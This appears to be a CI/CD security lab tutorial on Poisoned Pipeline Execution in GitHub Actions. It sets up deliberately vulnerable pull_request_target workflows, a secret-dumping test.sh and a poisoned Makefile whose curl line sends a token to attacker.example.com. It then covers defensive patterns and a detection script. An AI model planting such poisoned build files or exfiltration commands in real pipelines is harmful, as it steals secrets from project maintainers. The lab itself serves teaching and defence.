Overview
Poisoned Pipeline Execution (PPE) ranks as the #2 risk in the OWASP CI/CD Security Top 10. It is a class of attacks where a malicious actor manipulates the build process by injecting code into pipeline definitions or build scripts, typically through a pull request. Once the CI system picks up the change, the attacker’s code runs inside the build environment — potentially exfiltrating secrets, tampering with artifacts, or pivoting to internal infrastructure.
This hands-on lab walks you through both Direct PPE and Indirect PPE in a safe, sandboxed GitHub Actions environment. You will simulate the attacks yourself, observe the results, and then implement the defensive patterns that stop them.
By the end of this lab you will be able to:
- Explain the three PPE variants and how they differ.
- Demonstrate Direct PPE via
pull_request_targetand Indirect PPE via a poisoned Makefile. - Implement five defensive workflow patterns that neutralize PPE.
- Write a basic detection script for suspicious CI activity.
Prerequisites
- A GitHub account (free tier is sufficient).
- Two test repositories you own — one acts as the victim pipeline repo, the other as the attacker fork.
- Basic familiarity with GitHub Actions workflow syntax (
on:,jobs:,steps:). - A terminal with
gitandcurlinstalled.
Important Safety Notice
This lab must run in isolated test repositories that you own and control. Never test Poisoned Pipeline Execution techniques against real production pipelines, shared organization repos, or open-source projects you do not own. Every exercise below uses repositories you create specifically for this lab. Delete them when you are finished.
Understanding Poisoned Pipeline Execution
PPE exploits a fundamental trust assumption: the CI/CD system trusts the code it checks out and executes. An attacker who can influence what code the pipeline runs can hijack the build. There are three recognized variants:
Direct PPE (D-PPE)
The attacker directly modifies the pipeline definition file itself — for example, .github/workflows/build.yml. If the CI system runs the modified version from the pull request branch, the attacker’s arbitrary commands execute in the CI environment.
Indirect PPE (I-PPE)
The attacker does not touch the workflow YAML. Instead, they modify files that the pipeline consumes: a Makefile, a shell script called by the workflow, a Dockerfile, a configuration file, or even a dependency manifest. The pipeline definition stays identical to the base branch, but the build logic has been poisoned.
Public / Third-Party PPE (3P-PPE)
The attacker targets a public repository by forking it and submitting a pull request. This is the most common real-world vector because it requires no prior access to the target repository — only the ability to open a PR.
Attack Flow Diagram
┌─────────────┐ ┌──────────────────┐ ┌────────────────┐
│ Attacker │ fork │ Victim Repo │ trigger│ CI/CD Runner │
│ (fork/PR) │────────▶│ (base branch) │────────▶│ (GitHub │
│ │ │ │ │ Actions) │
└──────┬───────┘ └──────────────────┘ └───────┬────────┘
│ │
│ 1. Modify workflow YAML (D-PPE) │
│ OR build scripts (I-PPE) │
│ 2. Open Pull Request │
│ │
│ 3. CI checks out PR code ◀─────────┘
│ 4. Executes attacker's payload
│ 5. Secrets / tokens exfiltrated
▼
┌─────────────────────────────────────────────────────────────────────┐
│ Impact: secret theft, artifact tampering, lateral movement │
└─────────────────────────────────────────────────────────────────────┘
Exercise 1: Direct PPE — Modifying the Workflow File
In this exercise you will see how GitHub Actions protects against the simplest form of D-PPE when you use the pull_request trigger.
Step 1 — Create the Victim Repository
Create a new public repository called ppe-lab-victim. Add the following workflow file:
.github/workflows/build.yml
name: Build
on:
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build
run: |
echo "Building the project..."
echo "Build completed successfully."
Commit this to the main branch.
Step 2 — Fork and Poison the Workflow (Attacker Perspective)
Fork ppe-lab-victim to your second GitHub account (or use the same account for simplicity). In the fork, edit .github/workflows/build.yml:
name: Build
on:
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Exfiltrate environment variables
run: |
echo "=== EXFILTRATING ENVIRONMENT ==="
env | sort
echo "=== GITHUB_TOKEN ==="
echo "Token length: ${#GITHUB_TOKEN}"
Step 3 — Open a Pull Request
From the fork, open a PR against main in the victim repo.
Step 4 — Observe the Result
Navigate to the Actions tab. You will see that the workflow that ran is the version from the base branch (main), not the attacker’s modified version. The “Exfiltrate environment variables” step does not exist in the executed workflow.
This is GitHub Actions’ built-in protection for the pull_request event: it always uses the workflow file from the base branch, not the PR branch. The attacker’s YAML modifications are ignored.
Key Insight: The
pull_requesttrigger is safe against Direct PPE because the workflow definition comes from the base branch. However, this protection does not extend to all triggers — as you will see next.
Exercise 2: The Dangerous pull_request_target
The pull_request_target event was introduced to allow workflows to comment on PRs, label them, or perform other actions that require write permissions and access to secrets. It runs in the context of the base branch but can be configured to check out the PR’s code — and that is where the danger lies.
Step 1 — Create a Vulnerable Workflow
In your ppe-lab-victim repo, create a new workflow:
.github/workflows/pr-check.yml
name: PR Check
on:
pull_request_target:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: Checkout PR code
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Run tests
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
echo "Running tests on PR code..."
cat README.md
echo "Tests passed."
Before continuing, go to the repo’s Settings → Secrets and variables → Actions and add a repository secret called MY_SECRET with the value super-secret-token-12345.
Step 2 — Exploit the Vulnerability (Attacker Perspective)
In the fork, create a file called README.md (or modify the existing one) and add this at the bottom:
This is a normal README update.
Now also modify .github/workflows/pr-check.yml in the fork. But wait — remember that pull_request_target runs the base branch workflow, so modifying the YAML in the fork does nothing. The attacker needs a different approach.
Instead, create a malicious script in the fork:
test.sh
#!/bin/bash
echo "=== Environment Variables ==="
env | sort
echo "=== Secret Value ==="
echo "MY_SECRET=$MY_SECRET"
Now update the victim repo’s workflow to call this script (simulating a workflow that executes checked-out code):
.github/workflows/pr-check.yml (updated on the base branch):
name: PR Check
on:
pull_request_target:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: Checkout PR code
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Run tests
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
echo "Running tests on PR code..."
chmod +x test.sh
./test.sh
Step 3 — Open the PR and Observe
Open a PR from the fork. The workflow runs from the base branch definition but checks out the attacker’s code. The malicious test.sh executes and prints the secret value.
Check the Actions log. You will see:
=== Environment Variables ===
GITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx
...
=== Secret Value ===
MY_SECRET=super-secret-token-12345
This is classic Poisoned Pipeline Execution. The workflow definition is trusted (base branch), but the code it executes is attacker-controlled (PR branch checkout).
Key Insight: The combination of
pull_request_target+actions/checkoutwithref: ${{ github.event.pull_request.head.sha }}+ executing checked-out code + secrets in environment is the most dangerous PPE pattern in GitHub Actions.
Exercise 3: Indirect PPE — Poisoning Build Scripts
Indirect PPE is more subtle. The attacker never touches the workflow YAML — they modify files that the pipeline consumes. This bypasses the pull_request trigger’s built-in protection against workflow file changes.
Step 1 — Create a Repo with a Makefile-Based Build
In your ppe-lab-victim repo, add a Makefile:
.PHONY: build test
build:
@echo "Compiling project..."
@echo "Build successful."
test:
@echo "Running unit tests..."
@echo "All tests passed."
Update the workflow to use the Makefile:
.github/workflows/build.yml
name: Build
on:
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build project
run: make build
- name: Run tests
run: make test
Notice this uses the safe pull_request trigger. The workflow YAML itself is protected.
Step 2 — Poison the Makefile (Attacker Perspective)
In the fork, modify only the Makefile (do not touch any workflow file):
.PHONY: build test
build:
@echo "Compiling project..."
@echo "Build successful."
@echo "=== PPE: Dumping environment ==="
@env | sort
@echo "=== PPE: Exfiltrating token ==="
@curl -s http://attacker.example.com/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>/dev/null || echo none)
test:
@echo "Running unit tests..."
@echo "All tests passed."
Step 3 — Open the PR and Observe
Open a PR from the fork. The workflow file from the base branch runs (safe!), but actions/checkout checks out the PR branch code, which includes the poisoned Makefile. When the workflow calls make build, it executes the attacker’s modified Makefile.
In the Actions log you will see the environment variables dumped. The curl command will fail (the domain does not exist), but in a real attack it would succeed.
Key Insight: The
pull_requesttrigger protects the workflow YAML, but it does not protect the repository content that the workflow executes. Any file that the pipeline runs, sources, or includes is a potential I-PPE vector:Makefile,package.jsonscripts,Dockerfile,.eslintrc.js,pytest.ini, shell scripts, and more.
Exercise 4: Defense — Safe Workflow Patterns
Now that you understand the attack, let’s implement the defenses.
Pattern 1: Never Checkout PR Head in pull_request_target Workflows
If you must use pull_request_target, never check out the PR code. Only operate on metadata:
name: Label PR
on:
pull_request_target:
types: [opened]
jobs:
label:
runs-on: ubuntu-latest
steps:
# Safe: no checkout at all
- name: Add label
uses: actions/github-script@v7
with:
script: |
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
labels: ['needs-review']
});
Rule: If a pull_request_target workflow does not need the PR’s source code, do not check it out.
Pattern 2: Use pull_request Trigger and Withhold Secrets
For PR validation, use pull_request and ensure no secrets are passed to the job:
name: PR Validation
on:
pull_request:
branches: [main]
jobs:
validate:
runs-on: ubuntu-latest
# No secrets referenced anywhere in this job
steps:
- uses: actions/checkout@v4
- name: Lint
run: npm run lint
- name: Unit tests
run: npm test
Even if an I-PPE attack modifies package.json scripts, the attacker gains no secrets because none are available.
Pattern 3: Separate Validate and Build Workflows
Split your CI into two stages — an untrusted validation step and a trusted build step:
# .github/workflows/validate.yml — runs on PRs, no secrets
name: Validate
on:
pull_request:
branches: [main]
permissions:
contents: read
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: make lint
- run: make test-unit
# .github/workflows/build.yml — runs only on main, full secrets
name: Build and Deploy
on:
push:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
run: make build
- name: Deploy
run: make deploy
Secrets are only available in workflows triggered by pushes to main, which requires the PR to be merged first (and thus reviewed and approved).
Pattern 4: Minimize Token Scope with permissions
Restrict the automatic GITHUB_TOKEN to the bare minimum:
name: PR Check
on:
pull_request:
branches: [main]
permissions: {} # No permissions at all
jobs:
check:
runs-on: ubuntu-latest
permissions:
contents: read # Only read access, nothing else
steps:
- uses: actions/checkout@v4
- run: make test
Even if the attacker exfiltrates the GITHUB_TOKEN, it can only read public content — it cannot push code, create releases, or access secrets.
Pattern 5: Pin Checkout to Base Branch for Sensitive Operations
If you must use pull_request_target and need some PR context, check out the base branch for sensitive steps and only use PR metadata:
name: Secure PR Check
on:
pull_request_target:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
# Check out the BASE branch (trusted code)
- name: Checkout base branch
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.base.sha }}
- name: Run trusted build scripts
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
# These scripts come from the base branch, not the PR
./scripts/validate-pr.sh
Rule: Trusted code (base branch) handles secrets. Untrusted code (PR branch) never touches them.
Exercise 5: Defense — Protecting Against Indirect PPE
I-PPE is harder to defend against because the attacker modifies regular files, not workflow definitions. Here are the key countermeasures.
CODEOWNERS for Build-Critical Files
Create a CODEOWNERS file that requires security team review for any changes to build scripts:
# .github/CODEOWNERS
# Build infrastructure — require security team review
Makefile @myorg/security-team
Dockerfile @myorg/security-team
.github/workflows/ @myorg/security-team
scripts/ @myorg/security-team
package.json @myorg/security-team
*.sh @myorg/security-team
Combined with branch protection rules that require CODEOWNERS approval, this prevents unreviewed changes to build-critical files from being merged.
Require Approval Before CI Runs on External PRs
Go to your repository’s Settings → Actions → General and under “Fork pull request workflows from outside collaborators,” select “Require approval for all outside collaborators”. This ensures a maintainer must explicitly approve CI execution for every external PR.
Use workflow_run for Trusted Post-PR Processing
The workflow_run event lets you chain workflows: a safe, secretless PR workflow triggers first, and only on its success does a trusted workflow run with full permissions.
# .github/workflows/pr-validate.yml — untrusted, no secrets
name: PR Validate
on:
pull_request:
branches: [main]
permissions:
contents: read
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: make lint
- run: make test
# .github/workflows/pr-post-validate.yml — trusted, has secrets
name: PR Post-Validate
on:
workflow_run:
workflows: ["PR Validate"]
types: [completed]
permissions:
contents: read
pull-requests: write
statuses: write
jobs:
report:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# Check out the BASE branch — never the PR branch
- name: Checkout base
uses: actions/checkout@v4
- name: Post status comment
uses: actions/github-script@v7
with:
script: |
const runId = context.payload.workflow_run.id;
const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);
for (const prNumber of prNumbers) {
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: prNumber,
body: `Validation passed. Workflow run: ${runId}`
});
}
The second workflow runs in the context of the default branch, has access to secrets, but never checks out PR code. This is the safest pattern for post-PR processing that needs elevated permissions.
Run Untrusted Code in Sandboxed Containers
If you must execute PR code with any form of access, run it in a locked-down container:
jobs:
sandbox-test:
runs-on: ubuntu-latest
container:
image: alpine:3.19
options: --network none # No network access
steps:
- uses: actions/checkout@v4
- name: Run untrusted tests
run: |
# This runs inside a container with NO network
# Even if the Makefile tries to exfiltrate, it cannot reach the internet
apk add --no-cache make
make test
The --network none flag prevents any outbound connections, making exfiltration impossible even if the attacker’s payload executes.
Exercise 6: Detection
Prevention is best, but detection provides defense in depth. Here is how to spot PPE attempts.
Monitor for Suspicious Commands in CI Logs
Create a detection script that scans workflow files for common PPE indicators:
#!/bin/bash
# detect-ppe.sh — Scan workflow files for PPE risk indicators
WORKFLOW_DIR=".github/workflows"
EXIT_CODE=0
echo "=== PPE Risk Scanner ==="
echo ""
# Check 1: pull_request_target with checkout of PR head
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -q "pull_request_target" "$file"; then
if grep -q "github.event.pull_request.head" "$file"; then
echo "[CRITICAL] $file: pull_request_target + PR head checkout detected"
echo " This is the classic D-PPE vulnerability."
EXIT_CODE=1
fi
fi
done
# Check 2: Workflows that execute checked-out scripts
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -qE '\./.*\.sh|make |npm run|yarn |python .*\.py' "$file"; then
if grep -q "pull_request" "$file"; then
echo "[WARNING] $file: PR workflow executes repo scripts (I-PPE risk)"
echo " Ensure no secrets are passed to this job."
fi
fi
done
# Check 3: Secrets used in PR workflows
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -q "pull_request" "$file"; then
if grep -q "\${{ secrets\." "$file"; then
echo "[HIGH] $file: Secrets referenced in PR workflow"
echo " Secrets should not be available in PR-triggered workflows."
EXIT_CODE=1
fi
fi
done
# Check 4: Overly broad permissions
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -q "pull_request" "$file"; then
if grep -q "permissions: write-all" "$file" || ! grep -q "permissions:" "$file"; then
echo "[MEDIUM] $file: PR workflow with broad or unset permissions"
echo " Add explicit 'permissions: {}' or minimal scopes."
fi
fi
done
echo ""
if [ $EXIT_CODE -eq 0 ]; then
echo "No critical PPE risks detected."
else
echo "Critical PPE risks found. Review the findings above."
fi
exit $EXIT_CODE
GitHub Audit Log Monitoring
For GitHub Enterprise or organization-level monitoring, use the audit log API to track workflow changes:
# Query audit log for workflow file modifications
gh api \
-H "Accept: application/vnd.github+json" \
/orgs/{org}/audit-log?phrase=action:workflows \
--paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'
Automated PR Review for Build File Changes
Add a workflow that flags PRs modifying build-critical files:
name: Build File Change Alert
on:
pull_request:
paths:
- 'Makefile'
- 'Dockerfile'
- '**/*.sh'
- 'package.json'
- '.github/workflows/**'
jobs:
alert:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Comment warning
uses: actions/github-script@v7
with:
script: |
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: '⚠️ **Build File Change Detected**\n\nThis PR modifies build-critical files. A security team review is required before merging.\n\nModified paths trigger: Makefile, Dockerfile, shell scripts, package.json, or workflow files.'
});
Cleanup
After completing the lab:
- Delete the
ppe-lab-victimrepository. - Delete the forked repository.
- Revoke any personal access tokens you created for testing.
- Remove the
MY_SECRETrepository secret if the repo still exists.
Do not leave vulnerable test workflows running in any repository you intend to keep.
Key Takeaways
- The
pull_requesttrigger is safe against D-PPE because it runs the workflow from the base branch, not the PR branch. pull_request_target+ PR head checkout is the most dangerous pattern in GitHub Actions. It gives attacker code access to secrets and write permissions.- Indirect PPE bypasses workflow-level protections by poisoning files the pipeline executes (Makefiles, scripts, configs) rather than the workflow itself.
- Separate untrusted and trusted stages: run PR validation without secrets, and only grant secrets to workflows triggered by pushes to protected branches.
- Defense in depth is essential: combine CODEOWNERS, approval requirements, minimal permissions, sandboxed execution, and detection scripts.
- Treat every file in a PR as untrusted input — not just the workflow YAML, but every script, config, and manifest the pipeline touches.
Next Steps
Continue strengthening your CI/CD security knowledge with these related guides:
- CI/CD Execution Models and Trust Assumptions — Understand the trust boundaries and execution contexts that make PPE possible.
- Defensive Patterns and Mitigations for CI/CD Pipeline Attacks — A comprehensive catalog of defensive patterns beyond PPE, covering the full OWASP CI/CD Top 10.